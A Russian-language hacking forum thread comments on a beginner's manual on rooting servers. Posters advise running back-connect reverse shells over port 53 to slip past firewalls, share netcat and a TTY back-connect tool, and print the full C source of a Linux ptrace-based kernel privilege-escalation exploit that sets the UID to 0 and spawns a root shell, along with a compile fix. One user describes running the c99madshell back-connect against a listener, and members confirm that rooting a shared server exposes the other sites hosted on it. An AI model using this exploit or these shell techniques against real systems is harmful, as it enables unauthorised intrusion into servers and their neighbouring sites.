Авторские статьи Мануал новичкам: Рутанье

Discussion in 'Статьи' started by Dimi4, 28 Oct 2009.

  1. Orypec

    Orypec New Member

    Joined:
    25 Oct 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Про то, что консоль можно юзать с вэба впервые слышу! Интересная идея кстати
     
    1 person likes this.
  2. Slon

    Slon Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    123
    Likes Received:
    21
    Reputations:
    3
    Пара советов от меня:

    Лучший порт для бэкконнекта это 53, так как ДНС разрешен на всех системах, а 80 и 21 часто блочат.
    Если с бэкконнекта необходимо залогинится, использовать SSH либо su, то юзайте TTY бэкконнект. Он эмулирует полноценныю консоль.

    Скачать можно ТУТ (первая ссылка, написан на С)
     
    2 people like this.
  3. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Любая антивирь утила под юнь спалит эту хрень в два счёта... проверено.Надо уже изобретать что-то новое.
     
    afonn likes this.
  4. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    Netcat.exe
     

    Attached Files:

  5. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    В чем фейл?

     
  6. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Жжешь)))а юзать бекконнект - твоя идея?)))))))))))))Или я не в теме?:)
     
  7. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4

    Эм,а разве не gcc file.c -o outputfile ? А в сплоенте и могут возникнуть ошибки изза пробелов/переводов строк или неюзабельности комментария #.Вгетом и линксом пробовал все гут.
     
  8. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Бывало такое,но соединялся напрямую с хостом без юзанья промежуточных серверов.Иногда консоль вообще подвисала жестко,хотя и сервер работал отлично(вбиваешь утилу в консоль,ждёшь вчас и вырубаешь на нервах).Именно под вынь сервер такое было.Через день само пропало...Мб это никак и не связано,но из проблемы я не вышел...
     
    #28 Welemir, 3 Oct 2010
    Last edited: 3 Oct 2010
  9. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Code:
    
    sh-2.05b$ gcc linux-syscall.c -o lin
    linux-syscall.c: In function `docall':
    linux-syscall.c:41: warning: cast from pointer to integer of different size
    linux-syscall.c:43: warning: cast to pointer from integer of different size
    linux-syscall.c:49: warning: comparison between pointer and integer
    linux-syscall.c: In function `main':
    linux-syscall.c:66: warning: integer constant is too large for "long" type
    linux-syscall.c:67: warning: integer constant is too large for "long" type
    linux-syscall.c:68: warning: integer constant is too large for "long" type
    linux-syscall.c:71: warning: cast to pointer from integer of different size
    linux-syscall.c:104: error: `ORIG_RAX' undeclared (first use in this function)
    linux-syscall.c:104: error: (Each undeclared identifier is reported only once
    linux-syscall.c:104: error: for each function it appears in.)
    sh-2.05b$
    
    :( :( :(

    Вот код сплойта.

    Code:
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <inttypes.h>
    #include <sys/reg.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    
    uint32_t uid, euid, suid;
    
    static void kernelmodecode(void)
    {
            int i;
            uint8_t *gs;
            uint32_t *ptr;
    
            asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));
    
            for (i = 200; i < 1000; i+=1) {
    
                    ptr = (uint32_t*) (gs + i);
    
                    if ((ptr[0] == uid) && (ptr[1] == euid)
                            && (ptr[2] == suid) && (ptr[3] == uid)) {
                            ptr[0] = 0; //UID
                            ptr[1] = 0; //EUID
                            ptr[2] = 0; //SUID
    
                            break;
                    }
            }
    
    }
    
    static void docall(uint64_t *ptr, uint64_t size)
    {
            getresuid(&uid, &euid, &suid);
    
            uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
    
            if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                    printf("mmap fault\n");
                    exit(1);
            }
    
            for (; ptr < (tmp + size); ptr++)
                    *ptr = (uint64_t)kernelmodecode;
    
            __asm__("\n"
            "\tmovq $0x101, %rax\n"
            "\tint $0x80\n");
    
            printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
            execl("/bin/sh", "bin/sh", 0);
            printf("no /bin/sh ??\n");
            exit(0);
    }
    
    int main(int argc, char **argv)
    {
            int pid, status, set = 0;
            uint64_t rax;
            uint64_t kern_s = 0xffffffff80000000;
            uint64_t kern_e = 0xffffffff84000000;
            uint64_t off = 0x0000000800000101 * 8;
    
            if (argc == 4) {
                    docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                    exit(0);
            }
    
            if ((pid = fork()) == 0) {
                    ptrace(PTRACE_TRACEME, 0, 0, 0);
                    execl(argv[0], argv[0], "2", "3", "4", 0);
                    perror("exec fault");
                    exit(1);
            }
    
            if (pid == -1) {
                    printf("fork fault\n");
                    exit(1);
            }
    
            for (;;) {
                    if (wait(&status) != pid)
                            continue;
    
                    if (WIFEXITED(status)) {
                            printf("Process finished\n");
                            break;
                    }
    
                    if (!WIFSTOPPED(status))
                            continue;
    
                    if (WSTOPSIG(status) != SIGTRAP) {
                            printf("Process received signal: %d\n", WSTOPSIG(status));
                            break;
                    }
    
                    rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                    if (rax == 0x000000000101) {
                            if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                    printf("PTRACE_POKEUSER fault\n");
                                    exit(1);
                            }
                            set = 1;
                    }
    
                    if ((rax == 11) && set) {
                            ptrace(PTRACE_DETACH, pid, 0, 0);
                            for(;;)
                                    sleep(10000);
                    }
    
                    if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                            printf("PTRACE_SYSCALL fault\n");
                            exit(1);
                    }
            }
    
            return 0;
    }
    
    
    
     
  10. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Статья очень даже ничего, я в этом деле новичок - мне виднее =) Все расписано по-человечески и хорошо понятно, что к чему. Вот только ава, мягко сказано, смущает... =(
     
  11. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29

    На ворнинги можно не обращать внимания, Он тебе говорит что у тебя не объявлена переменная. Добавь #include <linux/user.h>
     
  12. Agnesti

    Agnesti New Member

    Joined:
    11 Feb 2011
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    забинпортил, пытаюсь подключится, пишет :
    из за чего это может быть?
     
  13. Freedom

    Freedom Elder - Старейшина

    Joined:
    2 Jul 2007
    Messages:
    38
    Likes Received:
    92
    Reputations:
    8

    HOST_NOT_FOUND Переведи вот это. Хотя бы со словарем.
     
  14. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Эта технология стара..
     
  15. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    objasnite pliz. naprimer y menja est shell na sait, po servisu ja probil ctho na etom ip eshe 5 saitov. esli ja sdelaju root ja poluchu dostup k etim saitam??
     
  16. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    да, получишь.
     
  17. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Я думаю ДА! :cool:
     
  18. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    pomogite plz.
    v shell ja stavlju backconnect (c99madshell) on vidaet:Now script try connect to 84.14.177.44:53...

    zpuskaju netcat: nc -l -p53

    on vidaet: forward host lookup failed: h_errno 11001 : HOST_NOT_FOUND


    CHTO JA DELAJU NE TAK???
     
  19. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Попробуй на другой порт!
     
  20. Gangliya

    Gangliya New Member

    Joined:
    8 Apr 2011
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    сначала неткать, потом биндпорть